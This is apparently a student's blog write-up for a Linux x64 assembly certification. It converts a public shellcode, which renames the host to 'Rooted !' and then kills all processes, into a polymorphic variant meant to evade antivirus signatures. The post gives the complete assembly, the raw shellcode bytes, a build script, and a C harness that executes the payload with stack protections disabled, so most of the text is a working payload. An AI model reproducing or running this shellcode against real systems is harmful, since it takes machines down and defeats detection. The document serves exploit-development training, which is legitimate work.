Student ID: SLAE64-1611
Assignment Six: Polymorphic Conversion of Linux/x64 Shellcode Part One of Three - sethostname() & killall
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert 64 Certification:
https://www.pentesteracademy.com/course?id=7
All code can be found in: https://github.com/securitychops/security-tube-slae64
All work was tested on a 64bit version of Ubuntu 18.04.1 LTS
TLDR; - JMP short Final_Breakdown
If you have not already read my post from the 32bit version of the SLAE (Polymorphic Conversion of Shellcode Part One of Three - kill(-1, SIGKILL) (x86 edition)) then I would highly encourage you to do so before continuing forward since I will not be going into quite the same level of extreme detail I did in that post…
Part one of assignment six of the SLAE64 has us performing our first polymorphic transformation on the Linux/x64 shellcode taken from shell-storm.org:
sethostname() & killall
As you can see from the assembly code below, and at the provided link, this is not a very complex set of code since for the first assignment dealing with polymorphic alterations to shellcode I wanted to keep it simple, so that is exactly what I did!
The very first thing that we should do is start analyzing the shellcode that we will perform our polymorphic transformation on, and since the shellcode author was kind enough to provide us with the source assembly we can immediately jump into the analysis of the first instruction by again referencing /usr/include/x86_64-linux-gnu/asm/uninstd_64.h. Doing so will show us that we will be calling two different functions, the first of which is sys_sethostname (0xaa/170) and the second of which will be sys_kill (0x3e/62).
section .text
global _start
_start:
;-- setHostName("Rooted !"); 22 bytes --;
mov al, 0xaa
mov r8, 'Rooted !'
push r8
mov rdi, rsp
mov sil, 0x8
syscall
;-- kill(-1, SIGKILL); 11 bytes --;
push byte 0x3e
pop rax
push byte 0xff
pop rdi
push byte 0x9
pop rsi
syscall
http://shell-storm.org/shellcode/files/shellcode-605.php
Before doing so however we need to stop for a moment and figure out how big this shellcode we will be transforming is and since the shellcode author was kind enough to provide us with the final shellcode (and the size), we can just check the length of theirs:
\xb0\xaa\x49\xb8\x52\x6f\x6f\x74\x65\x64\x20\x21\x41\x50\x48\x89\xe7\x40\xb6\x08\x0f\x05\x6a\x3e\x58\x6a\xff\x5f\x6a\x09\x5e\x0f\x05
The shellcode size we end up with is only 33 bytes, which means that in order to be within an acceptable range of no larger than 150% of the size of the original shellcode we can’t end up any larger than 49 bytes for our shellcode!
At this point in the course we have gotten into a pretty good rhythm about how to change things up in our shellcode to avoid nulls and slightly obfuscate it, and this assignment is no exception!
Behold, I preset to you our new assembly, which ends up only being 48 bytes long, one whole bytes under our original target!
; Student ID : SLAE64-1611
; Student Name : Jonathan "Chops" Crosby
; Assignment 6.1 : Polymorphic Conversion of Linux/x64 Shellcode Part One of Three - sethostname() & killall
; File Name : hostname-killall.nasm
; Shell Storm : http://shell-storm.org/shellcode/files/shellcode-605.php
global _start
section .text
_start:
;-- setHostName("Rooted !");
; we are changing up how we
; set rax to 0xaa
xor rax, rax ; zeroing out rax
add al, 0x50 ; adding 80
add al, 0x5a ; adding 90
; just changed which register
; andm moved in via hex instead
mov r11, 0x21206465746F6F52 ; Rooted !
push r11 ; that we used
mov rdi, rsp ; moving Rooted to rdi
mov rsi, rax ; moving 0xaa into rsi
sub sil, 0xa2 ; and subing it down to 0x08
syscall ; calling sethostname
;-- kill(-1, SIGKILL);
; rax should be a zero already
; from previous call
add al, 0x3e ; adding 62
mov rdi, rsi ; moving 8 into rdi from
; previous function
sub dil, 0x07 ; setting rdi to 1
neg rdi ; flip from 1 to -1
inc rsi ; set rsi to 9 for SIGKILL
syscall ; call kill
https://github.com/securitychops/security-tube-slae64/blob/master/assignment-6/killall-hostname.nasm
The main take away from the changes that were made is that we are really just looking for alternate ways to achieve the same result. In a real world scenario if we tried to use known shellcode the odds of the signature being detected by AV is pretty high. However, if we understand the shellcode (and what it is doing) we can easily go in and obfuscate it slightly in order to make it a little less obvious. I also leveraged register values used for the first function and simply added or subtracted from them in order to cause them to end up being the desired values.
And just like in all the previous posts thus far we go ahead and compile our assembly as such:
./compile.sh hostname-killall
[+] Assembling 64bit with Nasm ...
[+] Linking ...
[+] Done!
At this point we can do a quick check of what it looks like through objdump like so:
objdump -d -M intel hostname-killall
Which produces the following output, notice how there are no nulls!
hostname-killall: file format elf64-x86-64
Disassembly of section .text:
0000000000400080 <_start>:
400080: 48 31 c0 xor rax,rax
400083: 04 50 add al,0x50
400085: 04 5a add al,0x5a
400087: 49 bb 52 6f 6f 74 65 movabs r11,0x21206465746f6f52
40008e: 64 20 21
400091: 41 53 push r11
400093: 48 89 e7 mov rdi,rsp
400096: 48 89 c6 mov rsi,rax
400099: 40 80 ee a2 sub sil,0xa2
40009d: 0f 05 syscall
40009f: 04 3e add al,0x3e
4000a1: 48 89 f7 mov rdi,rsi
4000a4: 40 80 ef 07 sub dil,0x7
4000a8: 48 f7 df neg rdi
4000ab: 48 ff c6 inc rsi
4000ae: 0f 05 syscall
Once we have the assembled binary (and tested that it worked correctly) we again were able to extract the shellcode as follows:
for i in $(objdump -D hostname-killall.o |grep "^ " |cut -f2);do echo -n '\x'$i;done;echo
Which produces the following 48 bytes of shellcode:
\x48\x31\xc0\x04\x50\x04\x5a\x49\xbb\x52\x6f\x6f\x74\x65\x64\x20\x21\x41\x53\x48\x89\xe7\x48\x89\xc6\x40\x80\xee\xa2\x0f\x05\x04\x3e\x48\x89\xf7\x40\x80\xef\x07\x48\xf7\xdf\x48\xff\xc6\x0f\x05
At this point we are now able to replace the shellcode in our helper C program as such:
// Student ID : SLAE64-1611
// Student Name : Jonathan "Chops" Crosby
// Assignment 6 : Shell Code Test File
// File Name : hostname-killall.c
#include<stdio.h>
#include<string.h>
//compile with: gcc hostname-killall.c -o hostname-killall -fno-stack-protector -z execstack -no-pie
unsigned char code[] = \
"\x48\x31\xc0\x04\x50\x04\x5a\x49\xbb\x52\x6f\x6f\x74\x65\x64\x20\x21\x41\x53\x48\x89\xe7\x48\x89\xc6\x40\x80\xee\xa2\x0f\x05\x04\x3e\x48\x89\xf7\x40\x80\xef\x07\x48\xf7\xdf\x48\xff\xc6\x0f\x05";
main()
{
printf("Shellcode Length: %zu\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
https://github.com/securitychops/security-tube-slae64/blob/master/assignment-6/hostname-killall.c
And then we are able to compile our final binary and execute the shellcode as though it were being injected into the memory of a victim process
gcc hostname-killall.c -o hostname-killall -fno-stack-protector -z execstack -no-pie
Animated gif of the complete compilation and running of our polymorphic shellcode!
Since our shellcode is updating the hostname and then issuing a kill command (which will disconnect us) I figured I would show the process through three images.
Before Running The Code
The first image will shows our VM running in proxmox. Notice that the hostname is set to slae64
Running The Code
Next up we connect to the host, run the code and are then disconnected
After Running The Code
Pre Login
Before even logging in we can tell that our code worked!
Post Login
After getting logged in we can see that this is still the same machine and that our hostname is indeed Rooted !
—
Final_Breakdown:
Below are the contents of the final code needed to generate our 48 byte polymorphic obfuscated shellcode inspired by the shellcode found at: Linux/x86_64 sethostname() & killall 33 bytes shellcode.
Assembly Code
; Student ID : SLAE64-1611
; Student Name : Jonathan "Chops" Crosby
; Assignment 6.1 : Polymorphic Conversion of Linux/x64 Shellcode Part One of Three - sethostname() & killall
; File Name : hostname-killall.nasm
; Shell Storm : http://shell-storm.org/shellcode/files/shellcode-605.php
global _start
section .text
_start:
;-- setHostName("Rooted !");
; we are changing up how we
; set rax to 0xaa
xor rax, rax ; zeroing out rax
add al, 0x50 ; adding 80
add al, 0x5a ; adding 90
; just changed which register
; andm moved in via hex instead
mov r11, 0x21206465746F6F52 ; Rooted !
push r11 ; that we used
mov rdi, rsp ; moving Rooted to rdi
mov rsi, rax ; moving 0xaa into rsi
sub sil, 0xa2 ; and subing it down to 0x08
syscall ; calling sethostname
;-- kill(-1, SIGKILL);
; rax should be a zero already
; from previous call
add al, 0x3e ; adding 62
mov rdi, rsi ; moving 8 into rdi from
; previous function
sub dil, 0x07 ; setting rdi to 1
neg rdi ; flip from 1 to -1
inc rsi ; set rsi to 9 for SIGKILL
syscall ; call kill
https://github.com/securitychops/security-tube-slae64/blob/master/assignment-6/killall-hostname.nasm
Helper Compile Bash Script
#!/bin/bash
echo '[+] Assembling 64bit with Nasm ... '
nasm -f elf64 -o $1.o $1.nasm
echo '[+] Linking ...'
ld -o $1 $1.o
echo '[+] Done!'
https://github.com/securitychops/security-tube-slae64/blob/master/assignment-6/compile.sh
Final C Program To Execute Shellcode
// Student ID : SLAE64-1611
// Student Name : Jonathan "Chops" Crosby
// Assignment 6 : Shell Code Test File
// File Name : hostname-killall.c
#include<stdio.h>
#include<string.h>
//compile with: gcc hostname-killall.c -o hostname-killall -fno-stack-protector -z execstack -no-pie
unsigned char code[] = \
"\x48\x31\xc0\x04\x50\x04\x5a\x49\xbb\x52\x6f\x6f\x74\x65\x64\x20\x21\x41\x53\x48\x89\xe7\x48\x89\xc6\x40\x80\xee\xa2\x0f\x05\x04\x3e\x48\x89\xf7\x40\x80\xef\x07\x48\xf7\xdf\x48\xff\xc6\x0f\x05";
main()
{
printf("Shellcode Length: %zu\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}